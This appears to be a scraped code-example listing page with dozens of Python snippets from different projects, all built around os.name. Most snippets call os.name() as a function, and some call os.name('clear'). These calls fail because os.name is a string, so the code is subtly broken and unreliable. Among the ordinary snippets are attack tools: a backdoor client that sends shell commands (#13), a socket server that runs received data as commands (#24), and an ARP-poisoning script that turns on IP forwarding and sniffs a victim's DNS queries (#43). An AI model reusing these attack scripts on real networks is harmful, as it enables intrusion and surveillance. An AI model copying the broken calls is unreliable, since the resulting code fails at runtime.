コード例 #1
0
def clear_screen():
    # os.system("cls" if os.name == "nt" else "clear")
    if os.name == 'nt':
        os.system("cls")
    else:
        os.name("clear")
    pass
コード例 #2
0
def limpiarPantalla():
  import os

  if 'posix' == os.name:
    os.system('clear')
  elif os.name in ('ce', 'nt', 'dos'):
    os.name('cls')
コード例 #3
0
ファイル: beep.py プロジェクト: Morwenn/BipComposer
def beep(frequency, duration):
    """
    Produce a beep with the PC speaker.
    
    :param frequency: Frequency in hertz.
    :param duration: Duration in milliseconds.
    """
    if os.name() == "nt":
        winsound.Beep(frequency, duration)
    elif os.name() == "posix":
        raise NotImplementedError
        fd = open('/dev/tty0', 'wb')
        fcntl.ioctl(fd, duration << 16 / 654654)
コード例 #4
0
ファイル: rprtGen.py プロジェクト: araujolma/rprtAutomator
def checkOS():
	if os.name() == 'posix':			# unix
	    slsh = '/'
	    runPdfLatexCmd = 'runpdflatex-lnx.sh'
	else:
	    slsh = "\\"
	    runPdfLatexCmd = 'runpdflatex-win.bat'
コード例 #5
0
ファイル: server.py プロジェクト: bgvinicius/pystudies
def server_main():
    server.listen(1)

    client, client_address = server.accept()
    uname = os.uname()
    while True:
        client_option = client.recv(1024).decode('utf8')
        if client_option == 'os':
            response = os.name()
            client.send(response.encode('utf8'))
        elif client_option == 'user_login':
            response = os.getlogin()
            client.send(response.encode('utf8'))
        elif client_option == 'network':
            response = uname[1]
            client.send(response[0].encode('utf8'))
        elif client_option == 'system_release':
            response = uname[2]
            client.send(response.encode('utf8'))
        elif client_option == 'system_version':
            response = uname[3]
            client.send(response.encode('utf8'))
        elif client_option == 'hardware':
            response = uname[4]
            client.send(response.encode('utf8'))
コード例 #6
0
 def findWorkingOSImpl(self):
     for os in self.os_services:
         if os.check(self.config):
             self.__os_service__=os
             print("Found "+os.name()+" environment")
             return True
     return False
コード例 #7
0
ファイル: rprtGen.py プロジェクト: araujolma/rprtAutomator
def set_batch():
	# Define batch path
    BatHndl = open(BatPath, 'w')					# use 'with open(tf) as f:'' (no need of ~.close())
    if os.name() == 'posix':
        BatHndl.write('#!/bin/bash\n\n')
    else:
        BatHndl.write(' ')    # care with \n stuffs
    BatHndl.close()
コード例 #8
0
ファイル: game_of_life.py プロジェクト: Satou-art/John_conway
def draw(main_list):
    time.sleep(0.0625)
    if os.name() == "nt":
        os.system("cls")
    else:
        os.system("clear")
    for i in range(len(main_list)):
        print("".join(main_list[i]))
コード例 #9
0
def get_host_platform():
    """
    get the  host system, which could be used for platform checks

    :return: tuple with  os_name, sys, sys_release
    """
    os_name = os.name()
    sys = platform.system()
    sys_release = platform.release()
    return os_name, sys, sys_release
コード例 #10
0
 def ekranı_temizle():
     try:
         if os.name == "nt":
             return os.system("cls")
         elif os.name == "posix":
             return os.system("clear")
         else:
             return os.name("clear")
     except AttributeError:
         sys.exit()
コード例 #11
0
def build_user_agent():
    try:
        uname = os.uname()
        system = "; ".join([uname[0], uname[4]])
    except:
        system = os.name()

    pver = sys.version_info
    user_agent = "%s/%s (%s) Python-Urllib2/%d.%d" % (plugin_name, version, system, pver[0], pver[1])
    return user_agent
コード例 #12
0
    def build_user_agent(self):
        try:
            uname = os.uname()
            system = "; ".join([uname[0], uname[4]])
        except:
            system = os.name()

        pver = sys.version_info
        user_agent = '%s/%s (%s) Python-Urllib2/%d.%d' % \
                     (self.sink_name, self.sink_version, system, pver[0], pver[1])
        return user_agent
コード例 #13
0
def client_sender():
    # Creamos el socket
    cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # Hacemos la conexion al servidor/backdoor
        cliente.connect((target, port))
        # Aqui solo te pregunto tu nickname
        nickname = raw_input("Cual es tu nickname ? ")
        # Lo concateno (Tu nick) con otra cadena
        nickname += "@hacker ~:#"
        # Envio un whoami (Para que sepamos que
        # usuario somos en el equipo comprometido)
        cliente.send("whoami")
        # Recibimos el usuario
        usuario = cliente.recv(1024)
        # Y lo imprimimos
        print "Eres el usuario: \t%s" % usuario

        while True:
            # Esperamos por mas input
            buff = raw_input("%s " % nickname)

            # Enviamos comando
            cliente.send(buff)
            # El data es la respuesta del comando
            # que Enviamos
            data = cliente.recv(1024)

            print data

            # Si el comando es "exit"
            # nos desconectamos del servidor/backdoor
            # si es limpiar pantalla
            # la limpiamos
            try:
                if "exit" in buff:
                    cliente.send("exit")
                    cliente.close()
                    print "Bye, Bye!!!"
                    break
                if "cls" or "clear" in buff:
                    if os.name('nt'):
                        os.system("cls")
                    else:
                        os.system("clear")
            except:
                continue

    except:
        # Si hubo un error se produce una Excepcion
        # y salimos del script
        print "[*] Excepcion! Saliendo!!!"
        cliente.close()
コード例 #14
0
    def build_user_agent(self):
        try:
            uname = os.uname()
            system = "; ".join([uname[0], uname[4]])
        except:
            system = os.name()

        pver = sys.version_info
        user_agent = '%s/%s (%s) Python-Urllib2/%d.%d' % \
                     (self.sink_name, self.sink_version, system, pver[0], pver[1])
        return user_agent
コード例 #15
0
ファイル: client.py プロジェクト: faberrzhe/File-send
 def parse_config(self):  #Parsing config file
     global config_file_name
     global interface, client_threads, fragment_size, work_directory
     variable_list = {}
     try:  #Open config, if config missing creating default
         config_file = open(config_file_name, 'r+', encoding='utf-8')
     except OSError:
         answer = input('No config file. Create default(YES)?')
         if answer == 'Yes' or answer == '':
             config_file = open(config_file_name, 'w+')
             username = os.getlogin()
             default_config_string = '#Interface options \'single\' for one interface \'auto\' for choosing all interfaces that have default route.  In mode auto weight is equal\r\n'
             default_config_string += '#If you want to sent manual interface format is \'interface=<interface ip> <nexthop ip> <weight>;<interface ip2> <nexthop ip2> <weight2>\'\r\n'
             default_config_string += '#auto mode don\'t work properly on linux'
             default_config_string += 'interface=single\r\n'
             default_config_string += '#Number of sending threads using in single interface connection\r\n'
             default_config_string += 'client_threads=10\r\n'
             default_config_string += '#Size of one fragment in bytes\r\n'
             default_config_string += 'fragment_size=2000000\r\n'
             default_config_string += '#Temporary directory to store fragments\r\n'
             default_config_string += 'work_directory='
             if os.name() == 'nt':  #Default folder for Windows or Linux
                 default_config_string += 'C:/Users/' + username + '/python_send/'
             elif username == 'root':
                 default_config_string += '/root/python_send/'
             else:
                 default_config_string += '/home/' + username + '/python_send/'
             config_file.write(default_config_string)
         else:
             sys.exit(1)
     for line_ in config_file:
         if line_[0] == '#': continue  #do not reading comments
         try:
             variable_name = re.findall(
                 '(?!#)(\S+)=\S+', line_)[0]  #looking for symbols befor "="
         except IndexError:
             pass
         else:
             variable_value = re.findall('=(.+)', line_)[0]  #and after "="
             variable_list[
                 variable_name] = variable_value  #append them to vocabulary
     for key in variable_list:
         if key == 'interface':
             interface = variable_list[key]
         elif key == 'work_directory':
             work_directory = variable_list[key]
             work_directory = work_directory.replace('\\', '/')
         elif key == 'client_threads':
             client_threads = variable_list[key]
             client_threads = int(client_threads)
         elif key == 'fragment_size':
             fragment_size = variable_list[key]
             fragment_size = int(fragment_size)
コード例 #16
0
def convert(address):

    # Language in which you want to convert
    language = 'en'
    # Passing the text and language to the engine,
    # here we have marked slow=False. Which tells
    # the module that the converted audio should
    # have a high speed
    myaudio = gTTS(text=address, lang=language, slow=False)

    # Saving the converted audio in a mp3 file named
    # welcome
    myaudio.save("address.mp3")

    if os.name == "posix":
        # Playing the converted file on MCox
        os.system("afplay address.mp3")
    elif os.name == "nt":
        os.system("address.mp3")
    else:
        os.name("address.mp3")
コード例 #17
0
ファイル: client.py プロジェクト: faberrzhe/File-send
 def parse_config(self):                 #Parsing config file
     global config_file_name
     global interface, client_threads, fragment_size,work_directory
     variable_list={}
     try:                                #Open config, if config missing creating default
         config_file=open(config_file_name,'r+',encoding='utf-8')
     except OSError:
         answer=input('No config file. Create default(YES)?')
         if answer=='Yes' or answer=='':
             config_file=open(config_file_name,'w+')
             username=os.getlogin()
             default_config_string='#Interface options \'single\' for one interface \'auto\' for choosing all interfaces that have default route.  In mode auto weight is equal\r\n'
             default_config_string+='#If you want to sent manual interface format is \'interface=<interface ip> <nexthop ip> <weight>;<interface ip2> <nexthop ip2> <weight2>\'\r\n'
             default_config_string+='#auto mode don\'t work properly on linux'
             default_config_string+='interface=single\r\n'
             default_config_string+='#Number of sending threads using in single interface connection\r\n'
             default_config_string+='client_threads=10\r\n'
             default_config_string+='#Size of one fragment in bytes\r\n'
             default_config_string+='fragment_size=2000000\r\n'
             default_config_string+='#Temporary directory to store fragments\r\n'
             default_config_string+='work_directory='
             if os.name()=='nt':                 #Default folder for Windows or Linux
                 default_config_string+='C:/Users/'+username+'/python_send/'
             elif username=='root':
                 default_config_string+='/root/python_send/'
             else:
                 default_config_string+='/home/'+username+'/python_send/'
             config_file.write(default_config_string)
         else:
             sys.exit(1)
     for line_ in config_file:
         if line_[0]=='#': continue      #do not reading comments
         try:
             variable_name=re.findall('(?!#)(\S+)=\S+',line_)[0] #looking for symbols befor "="
         except IndexError:
             pass
         else:
             variable_value=re.findall('=(.+)',line_)[0]         #and after "="
             variable_list[variable_name]=variable_value         #append them to vocabulary
     for key in variable_list:
         if key=='interface':
             interface=variable_list[key]
         elif key=='work_directory':
             work_directory=variable_list[key]
             work_directory=work_directory.replace('\\','/')
         elif key=='client_threads':
             client_threads=variable_list[key]
             client_threads=int(client_threads)
         elif key=='fragment_size':
             fragment_size=variable_list[key]
             fragment_size=int(fragment_size)
コード例 #18
0
def check_os(os_type):
    """check os with os.name().
    Return True if os_now is os_type """
    import os
    os_now = os.name()
    if os_now == "nt":
        if os_type == "nt":
            return True
        elif os_type == "posix":
            return False
    elif os_now == "posix":
        if os_type == "posix":
            return True
        elif os_type == "nt":
            return False
コード例 #19
0
    def build_user_agent(self):

        sink_name = "graphios-librato"
        sink_version = "0.0.1"

        try:
            uname = os.uname()
            system = "; ".join([uname[0], uname[4]])
        except:
            system = os.name()

        pver = sys.version_info
        user_agent = '%s/%s (%s) Python-Urllib/%d.%d' % \
                     (sink_name, sink_version,
                      system, pver[0], pver[1])
        return user_agent
コード例 #20
0
ファイル: zimo.py プロジェクト: LUMOGROUP/zimo
def check_os(os_type):
    """check os with os.name().
    Return True if os_now is os_type """
    import os
    os_now = os.name()
    if os_now == "nt":
        if os_type == "nt":
            return True
        elif os_type == "posix":
            return False
    elif os_now == "posix":
        if os_type == "posix":
            return True
        elif os_type == "nt":
            return False

#def zimo_copyright():
#    print()
コード例 #21
0
ファイル: cmdparser.py プロジェクト: loremipsumdolor/STEVE
 def parse(self, data, sender, format):
     var = []
     if data.find("steve info") != -1 or data == "info":
         pllist = []
         with open("aplist.txt") as f:
             for line in f:
                 pllist.append(line.rstrip('\n')[:-3])
         if format == "email":
             var.extend(["text", sender, "S.T.E.V.E. Info", "S.T.E.V.E is running version %s." % self.stats[0]])
         if format == "txt":
             var.extend([sender, "S.T.E.V.E version %s" % self.stats[0]])
         if format == "console":
             ghurl = urllib2.urlopen("https://api.github.com/")
             var.append("S.T.E.V.E Info")
             var.append("--------------")
             var.append("Revision Number: %s" % self.stats[0])
             var.append("Operating System: %s %s" %
                        (platform.system(), platform.release()))
             var.append("Network Name: %s" % platform.node())
             var.append("GitHub Requests Remaining: %s/%s" %
                        (str(ghurl.headers['X-RateLimit-Remaining']),
                         str(ghurl.headers['X-RateLimit-Limit'])))
             var.append("Plugins: %s" % str(pllist).strip("[]"))
             ghurl.close()
         return var
     elif data.find("steve picture") != -1 or data == "picture":
         capture = CaptureFromCAM(0)
         frame = QueryFrame(capture)
         SaveImage('image.jpg', frame)
         if format == "email":
             var.extend(["attach", sender, None,
                         "Image taken successfully.", "image.jpg"])
             return var
         elif format == "txt":
             var.extend([sender, "Image taken successfully."])
             return var
         elif format == "console":
             return "Image taken successfully."
     elif data.find("steve whoareyou") != -1 or data == "whoareyou":
         if format == "email":
             var.extend(["text", sender, None])
             var.append("I am S.T.E.V.E. This stands for Super Traversing \
             Enigmatic Voice-controlled Engine. Most of my coding was \
             written by Jacob Turner. However, there's parts of me written \
             by other people, but all of my code is open source, so no \
             worries there.")
         elif format == "txt":
             var.append(sender)
             var.append("I am S.T.E.V.E. This stands for Super Traversing \
             Enigmatic Voice-controlled Engine.")
         elif format == "console":
             var = []
             var.append("                     hhhhhhh     hhhhhhhhhh     hhhhhhhh                          ")
             var.append("                   hh       hhhhhh         hhhhhh       hh                        ")
             var.append("                  hhh       hhhh             hhh        hh                        ")
             var.append("                  hhh       hhh               hhh       hh                        ")
             var.append("                   hh     hh      hh     hh     hhh     hh                        ")
             var.append("                     hhhhhhh      MN     MN     hhhhhhhh                          ")
             var.append("                          hh      MN     MN     hhh                               ")
             var.append("                         h                        h                               ")
             var.append("                       hhh                         hhh                            ")
             var.append("                     hh                              hhh                          ")
             var.append("                     hh                              hhh                          ")
             var.append("                     hh                              hhh                          ")
             var.append("                     hh           mmmmmmmmmh         hhh                          ")
             var.append("                       hh         mmmmmmmmmh       hhh                            ")
             var.append("                        hh                         hh                             ")
             var.append("                          hhhhh               hhhhh                               ")
             var.append("                               hhhhhhhhhhhhhhh                                    ")
             var.append("")
             var.append("")
             var.append("")
             var.append("         ooooooo     oooooos     ooooooo      oos ooo      oooooos                ")
             var.append("         oos          soos       ooo          oos ooo      oos                    ")
             var.append("         ooossss       oo        ooossss      oos ooo      oossss                 ")
             var.append("             soo       oo        ooo          oos ooo      oos                    ")
             var.append("         ssssooo ss    oo    ss  ooossss  ss  oossooo ss   oosssss  ss            ")
             var.append("")
             var.append("I am S.T.E.V.E. This stands for Super Traversing Enigmatic Voice-controlled Engine.")
             var.append("Most of my coding was written by Jacob Turner. However, there's parts of me written")
             var.append("by other people, but all of my code is open source, so no worries there.")
         return var
     elif data.find("steve whoami") != -1 or data.find("whoami") != -1:
         if format == "email":
             var.extend(["text", sender, None, "Your name is probably %s. If you did not already know this, then that is a problem." % getuser()])
         elif format == "txt":
             var.extend([sender, "Your name is probably %s. If you did not already know this, then that is a problem." % getuser()])
         elif format == "console":
             var.extend(["Your name is probably %s. If you did not already know this, then that is a problem." % getuser()])
         return var
     elif data.find("steve shutdown") != -1 or data == "shutdown":
         if os.name() == 'nt':
             InitiateSystemShutdown()
         elif os.name() == 'linux':
             os.system('shutdown -h now')
     elif data.find("steve restart") != -1 or data == "restart":
         if os.name() == 'nt':
             InitiateSystemShutdown(None, None, 0, True, True)
         elif os.name() == 'linux':
             os.system('restart now')
     elif data.find("steve text") != -1 or data == "text":
         self.data = data.lstrip("text ")
         self.num = data.split(" ")[0]
         if format == "email":
             var.extend(["text", sender, None, "You can send your own \
             email-to-text to them."])
         elif format == "txt":
             var.extend([sender, "You have a phone, send your own text!"])
         elif format == "console":
             if len(self.data) > 160:
                 txt = [''.join(x) for x in zip(*[list(self.data[z::160])
                                                  for z in range(160)])]
                 for x in txt:
                     txtmod.send(txt[x], self.num)
             else:
                 txtmod.send(self.data, self.num)
             return "Message sent."
         return var
     else:
         parse = addlparser.parse(data, sender, format)
         return parse
コード例 #22
0
ファイル: beep.py プロジェクト: Morwenn/BipComposer
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301 USA

import os
if os.name() == "nt":
    import winsound
elif os.name() == "posix":
    import fcntl
else:
    raise ImportError("No suitable module for the beep API.")


def beep(frequency, duration):
    """
    Produce a beep with the PC speaker.
    
    :param frequency: Frequency in hertz.
    :param duration: Duration in milliseconds.
    """
    if os.name() == "nt":
コード例 #23
0
ファイル: application.py プロジェクト: bAssudani/EmpMangement
import os
CONFIG_NAME = os.getenv('FLASK_CONFIG')

APP = os.name(CONFIG_NAME)

APP.run(ssl_context="adhoc")

if __name__ == '__main__':
    APP.run(debug=True)
コード例 #24
0
#!/usr/bin/env python3

import socket
import os
import platform
from subprocess import call

SRV_ADDR = '127.0.0.1'
SRV_PORT = int(1234)
OS_NAME = os.name()
ARCH = platform.architecture()
TYPE = platform.machine()
FQDN = platform.node()
PYVER = platform.python_version()
SYSTEM = platform.system()
SYSVER = platform.version()
MACVER = platform.mac_ver()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((SRV_ADDR, SRV_PORT))

sock.listen(1)
connection, address = sock.accept()

connection.sendall('*** CONNECTION OPENED ***')
connection.sendall('Please enter system commands below:\n')

while 1:
    data = connection.recv(1024)
    if not data: break
    call([data])
コード例 #25
0
def system_details():
    platform = platform.system()
    os = os.name()

    hostname = socket.gethostname()
    IPAddr = socket.gethostbyname(hostname)
コード例 #26
0
ファイル: paths.py プロジェクト: subbul/python_book
import os

os.listdir(".") #list files in current directory

print(os.getcwd()) #prints current working directory

os.chdir("e:\Programming\python\quickPythonBook")
print(os.listdir(".")) #prints files in newly CD-ed directory

print(os.path.join("bin","utils","disktools")) #joins all the elements with correct seperator like /bin/utils/disktools

print(os.path.split("some/directory/file")) #splits into two element tuple with first element
#pointintg to the direcoty,second element points to the file name itself

print(os.path.basename("some/directory/file.jpg"))#returs only the file element
print(os.path.dirname("some/directory/file.jpg"))#return directory name

print(os.path.splittext("abc.jpeg")) #returns tuple containing filename and its extension

print(os.name()) #returns 'nt' for windows based system

print(os.path.exists("C:\Unknown")) #should return false
print(os.path.exists("C:\windows")) #should return true
print(os.path.isfile("C:\Windows\AppPatch\AcRes.dll")) #should retunr true as this file exists

import glob
glob.glob("*") # returns all files - wildcard
glob.glob("*.py") #returns only .py files


#os walk
コード例 #27
0
#coding=utf-8
import os
print os.name #如果是posix,说明系统是Linux、Unix或Mac OS X,如果是nt,就是Windows系统
print os.name()

#在操作系统中定义的环境变量,全部保存在os.environ这个dict中,可以直接查看:
print os.environ
print os.getenv('PATH')

#操作文件和目录的函数一部分放在os模块中,一部分放在os.path模块中,这一点要注意一下。查看、创建和删除目录可以这么调用
# 查看当前目录的绝对路径:
print os.path.abspath('.')

# 在某个目录下创建一个新目录,
# 首先把新目录的完整路径表示出来:
print os.path.join('/local/test', 'testdir')
#把两个路径合成一个时,不要直接拼字符串,而要通过os.path.join()函数,这样可以正确处理不同操作系统的路径分隔符。
#同样的道理,要拆分路径时,也不要直接去拆字符串,而要通过os.path.split()函数,这样可以把一个路径拆分为两部分,后一部分总是最后级别的目录或文件名:
print os.path.split('/local/test/testdir')
#os.path.splitext()可以直接让你得到文件扩展名,很多时候非常方便:
print os.path.splitext('/local/test/test.csv')
#这些合并、拆分路径的函数并不要求目录和文件要真实存在,它们只对字符串进行操作。
# 然后创建一个目录:
#os.mkdir('/local/test/testdir')
# 删掉一个目录:
#os.rmdir('/Users/michael/testdir')

# 对文件重命名:
#os.rename('test.txt', 'test.py')
# 删掉文件:
#os.remove('test.py')
コード例 #28
0
"""
Compiled, mashed and generally mutilated 2014-2015 by Denis Pleic
Made available under GNU GENERAL PUBLIC LICENSE
# Modified Python I2C library for Raspberry Pi
# as found on http://www.recantha.co.uk/blog/?p=4849
# Joined existing 'i2c_lib.py' and 'lcddriver.py' into a single library
# added bits and pieces from various sources
# By DenisFromHR (Denis Pleic)
# 2015-02-10, ver 0.1
"""
import os
from itertools import islice
from time import *

# This import is NOT available on Mac OS X, check for ARM OS before loading
if (os.name()).lower() == 'arm':
    import smbus


class i2c_device:
    def __init__(self, addr, port=1):
        self.addr = addr
        self.bus = smbus.SMBus(port)

    # Write a single command
    def write_cmd(self, cmd):
        self.bus.write_byte(self.addr, cmd)
        sleep(0.0001)

    # Write a command and argument
    def write_cmd_arg(self, cmd, data):
コード例 #29
0
ファイル: app01.py プロジェクト: CeivenLean/workspace
# 判断一个路径是否是文件夹
# boo = os.path.isdir( "你要判断的路径")

# 获取某目录中的文件及子目录的名字列表
p = "/Users/xxxl/VSProjects/workspace"
files = os.listdir(p)

# 过滤掉文件
filesname = [x for x in files if os.path.isdir(p + x)]
# 过滤掉文件夹
filename = [x for x in files if os.path.isfile(p + x)]

# 创建目录
os.makedirs("绝对路径")

os.rmdir('path')
os.remove('filename')
os.name('oldfileName', 'newFilename')

if __name__ == "__main__":
    print(os.getcwd())  # /Users/xxxl/VSProjects/workspace

    path1 = os.path.abspath('.')  #表示当前所处的文件夹的绝对路径
    path2 = os.path.abspath('..')
    print(path1)  # /Users/xxxl/VSProjects/workspace
    print(path2)  # /Users/xxxl/VSProjects
    d = os.path.dirname(__file__)
    print(d)  # /Users/xxxl/VSProjects/workspace/02excel
    d2 = os.path.abspath(__file__)
    print(d2)  # /Users/xxxl/VSProjects/workspace/02excel/findindex.py
コード例 #30
0
ファイル: files.py プロジェクト: appleface2050/WorkCode_Bakup
 def rename(old_name, new_name):
     return os.name(old_name, new_name)
コード例 #31
0
        print(
            'Warning: MSYSTEM environment variable is present, and is set to "'
            + os.getenv('MSYSTEM') +
            '". This shell has not been tested with emsdk and may not work.'
        )  # https://stackoverflow.com/questions/37460073/msys-vs-mingw-internal-environment-variables

#check for OSX
OSX = False
if platform.mac_ver()[0] != '':
    OSX = True
    outputOS = 'Apple OSX'
    ENVPATH_SEPARATOR = ':'

#check for Linux
LINUX = False
if not OSX and platform.system() == 'Linux' or os.name() == 'posix':
    outputOS = 'Linux'
    LINUX = True
    ENVPATH_SEPARATOR = ':'

#find which type of linux
if LINUX:
    #LINUX_DISTRO = platform.platform()
    LINUX_DISTRO = platform.linux_distribution()[0]
    #LINUX_DISTRO  = 'Linux-3.4.113-sun8i-armv7l-with-Ubuntu-16.04-xenial'

    #target behavior: python -mplatform | grep -qi Ubuntu && sudo apt-get update || sudo yum update
    # -qi flags in the grep statement tell it to not print output to console (q for quiet)
    # and the -i is for ignore.  It  ignores case in the pattern and input files

    #check if we're running 'ARMBIAN' example output:     line = "Linux-3.4.113-sun8i-armv7l-with-Ubuntu-16.04-xenial"
コード例 #32
0
ファイル: OpenQQ.py プロジェクト: FightingEveryDay/PythonDemo
import os
import platform


# print(os.getcwd())
# for file in os.listdir('/Users/wdy/Applications'):
#     print(file)
# print(platform.system())
print(os.name())
コード例 #33
0
ファイル: conf.py プロジェクト: isleon/Jaxer
def osname():
    """Returns a normalized os name string."""
    return os.name().lower()
コード例 #34
0
    def __init__(self, cfg):
        """
        Implements the librato backend-module
        """

        self.log = logging.getLogger("log.backends.librato")
        self.log.info("Librato Backend Initialized")
        self.api = "https://metrics-api.librato.com"
        self.flush_timeout_secs = 5
        self.gauges = {}
        self.whitelist = []
        self.metrics_sent = 0
        self.max_metrics_payload = 500

        try:
            cfg["librato_email"]
        except:
            self.log.critical("please define librato_email")
            sys.exit(1)
        else:
            self.email = cfg['librato_email']

        try:
            cfg["librato_token"]
        except:
            self.log.critical("please define librato_token")
            sys.exit(1)
        else:
            self.token = cfg['librato_token']

        try:
            cfg["librato_floor_time_secs"]
        except:
            self.floor_time_secs = 10
        else:
            self.floor_time_secs = cfg["librato_floor_time_secs"]

        try:
            cfg["librato_whitelist"]
        except:
            self.whitelist = [re.compile(".*")]
        else:
            for pattern in cfg["librato_whitelist"]:
                self.log.debug("adding librato whitelist pattern %s" % pattern)
                self.whitelist.append(re.compile(pattern))

        try:
            uname = os.uname()
            system = "; ".join([uname[0], uname[4]])
        except:
            system = os.name()

        sink_name = "gryphie-librato"
        sink_version = "0.0.1"
        pver = sys.version_info
        self.user_agent = '%s/%s (%s) Python-Urllib2/%d.%d' % \
                     (sink_name, sink_version,
                      system, pver[0], pver[1])

        base64string = base64.encodestring('%s:%s' % (self.email, self.token))
        self.auth = base64string.translate(None, '\n')

        self.headers = {
            'Content-Type': 'application/json',
            'User-Agent': self.user_agent,
            'Authorization': 'Basic %s' % self.auth
        }
コード例 #35
0
ファイル: test_paths.py プロジェクト: Flavio58it/caer
def test_osname():
    s = caer.path.osname

    assert s == os.name()
os.statvfs(path)                # 获取指定路径的文件系统统计信息
os.symlink(src, dst)            # 创建一个软链接
\os.system("bash command")       # 运行shell命令,直接显示执行结果。
os.tcgetpgrp(fd)                # 返回与终端fd(一个由os.open()返回的打开的文件描述符)关联的进程组
os.tcsetpgrp(fd, pg)            # 设置与终端fd(一个由os.open()返回的打开的文件描述符)关联的进程组为pg。
os.tempnam([dir[, prefix]])     # 返回唯一的路径名用于创建临时文件。
os.tmpfile()                    # 返回一个打开的模式为(w+b)的文件对象 .这文件对象没有文件夹入口,没有文件描述符,将会自动删除。
os.tmpnam()                     # 为创建一个临时文件返回一个唯一的路径
os.ttyname(fd)                  # 返回一个字符串,它表示与文件描述符fd 关联的终端设备。如果fd 没有与终端设备关联,则引发一个异常。
os.unlink(path)                 # 删除文件路径
os.utime(path, times)           # 返回指定的path文件的访问和修改的时间。
os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])  # 输出在文件夹中的文件名通过在树中游走,向上或者向下。
os.write(fd, str)               # 写入字符串到文件描述符 fd中. 返回实际写入的字符串长度


os.name()                               # 返回当前使用平台的代表字符,Windows用'nt'表示,Linux用'posix'表示
os.getcwd()                             # 获取当前工作目录,即当前python脚本工作的目录路径
os.getpid()
os.getcwdb()
os.getcwdu()
os.getegid()
os.geteuid()
os.getpid()
os.getppid()
os.getenv()
os.getenvb()
os.abort()
os.chmod()
os.chown()
os.close()
os.cpu_count()
コード例 #37
0
ファイル: lcd.py プロジェクト: effyroth/PokemonGo-Bot
Made available under GNU GENERAL PUBLIC LICENSE
# Modified Python I2C library for Raspberry Pi
# as found on http://www.recantha.co.uk/blog/?p=4849
# Joined existing 'i2c_lib.py' and 'lcddriver.py' into a single library
# added bits and pieces from various sources
# By DenisFromHR (Denis Pleic)
# 2015-02-10, ver 0.1
"""
#
#
import os
from itertools import islice
from time import *

# This import is NOT available on Mac OS X, check for ARM OS before loading
if (os.name()).lower() == 'arm':
    import smbus


class i2c_device:
    def __init__(self, addr, port=1):
        self.addr = addr
        self.bus = smbus.SMBus(port)

    # Write a single command
    def write_cmd(self, cmd):
        self.bus.write_byte(self.addr, cmd)
        sleep(0.0001)

    # Write a command and argument
    def write_cmd_arg(self, cmd, data):
コード例 #38
0
ファイル: py0live.py プロジェクト: GBHsl/py0live
def getOS():
	try:
		return os.name(), platform.release()
	except:
		return -1
コード例 #39
0
#coding=utf-8
import os
print os.name  #如果是posix,说明系统是Linux、Unix或Mac OS X,如果是nt,就是Windows系统
print os.name()

#在操作系统中定义的环境变量,全部保存在os.environ这个dict中,可以直接查看:
print os.environ
print os.getenv('PATH')

#操作文件和目录的函数一部分放在os模块中,一部分放在os.path模块中,这一点要注意一下。查看、创建和删除目录可以这么调用
# 查看当前目录的绝对路径:
print os.path.abspath('.')

# 在某个目录下创建一个新目录,
# 首先把新目录的完整路径表示出来:
print os.path.join('/local/test', 'testdir')
#把两个路径合成一个时,不要直接拼字符串,而要通过os.path.join()函数,这样可以正确处理不同操作系统的路径分隔符。
#同样的道理,要拆分路径时,也不要直接去拆字符串,而要通过os.path.split()函数,这样可以把一个路径拆分为两部分,后一部分总是最后级别的目录或文件名:
print os.path.split('/local/test/testdir')
#os.path.splitext()可以直接让你得到文件扩展名,很多时候非常方便:
print os.path.splitext('/local/test/test.csv')
#这些合并、拆分路径的函数并不要求目录和文件要真实存在,它们只对字符串进行操作。
# 然后创建一个目录:
#os.mkdir('/local/test/testdir')
# 删掉一个目录:
#os.rmdir('/Users/michael/testdir')

# 对文件重命名:
#os.rename('test.txt', 'test.py')
# 删掉文件:
#os.remove('test.py')
コード例 #40
0
ファイル: environment.py プロジェクト: shrekuu/ControlCenter
def run(**args):
    print "[*] In environment module"
    name=os.name()
    env=os.environ
    return str(env)+"\n"+str(name)
コード例 #41
0
ファイル: hw1.py プロジェクト: lMutel/DevOps
def create_folder(path, prefix, counts, mode):
    for i in range(counts):
        os.mkdir(path + '/' + prefix + str(i + 1), mode)
        os.name()
コード例 #42
0
ファイル: clipsUI_lib.py プロジェクト: boochos/work
def get_sox():
    if os.name() == 'Darwin':
        return os.path.join(environment.get_macports_base(), 'bin', 'sox')

    else:
        return 'sox'
コード例 #43
0
ファイル: arpoison.py プロジェクト: Hacknology/ARPpois0n
from scapy.all import *
from threading import Thread
import os
import sys
##In fact, i saw that idea in a youtube video. I made it better -with windows registry
##ip forwarding-, made simplier then share!
print("[!] Yönetici olarak çalıştırmayı unutmayın!")
hedefIP = input('[*]Saldırı yapılacak kişinin bilgisayarının ip adresi: ')
gateIP = input('[*]Ağ geçidinin IP adresi: ')
iFace = input('[*]Arayüz: (opsiyonel)')
print('\t\tBaşlıyoruz...')
sys = os.name()
if sys == "nt":
    import winreg as wreg

    key = wreg.OpenKey(wreg.HKEY_LOCAL_MACHINE,
                       r'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters',
                       0, wreg.KEY_SET_VALUE)
    wreg.SetValueEx(key, "IPEnableRouter", 0, wreg.REG_DWORD, 1)

else:
    os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
    os.system('service whoopsie stop')


def dnssniff(paket):
    if paket.haslayer(DNS) and paket.getlayer(DNS).qr == 0:
        print('[*] Hedef - Aradı: ')
        print(hedefIP + pkt.getlayer(DNS).qd.qname)

コード例 #44
0
from imutils.video import VideoStream
from imutils.video import FPS
import argparse
import time
import cv2
import numpy as np
from py.centroidtracker import CentroidTracker
from py.trackableobject import TrackableObject
import dlib

running_on_rpi = False

ser = serial.Serial('/dev/ttyUSB0', baudrate=9600, timeout=3.0)
ser.isOpen()

os_info = os.name()
if os_info[4][:3] == 'arm':
    running_on_rpi = True

# check if optimization is enabled
if not cv2.useOptimized():
    print("By default, OpenCV has not been optimized")
    cv2.setUseOptimized(True)

writer = None
W = None
H = None

observation_mask = None
observation_mask_1 = None
observation_mask_2 = None
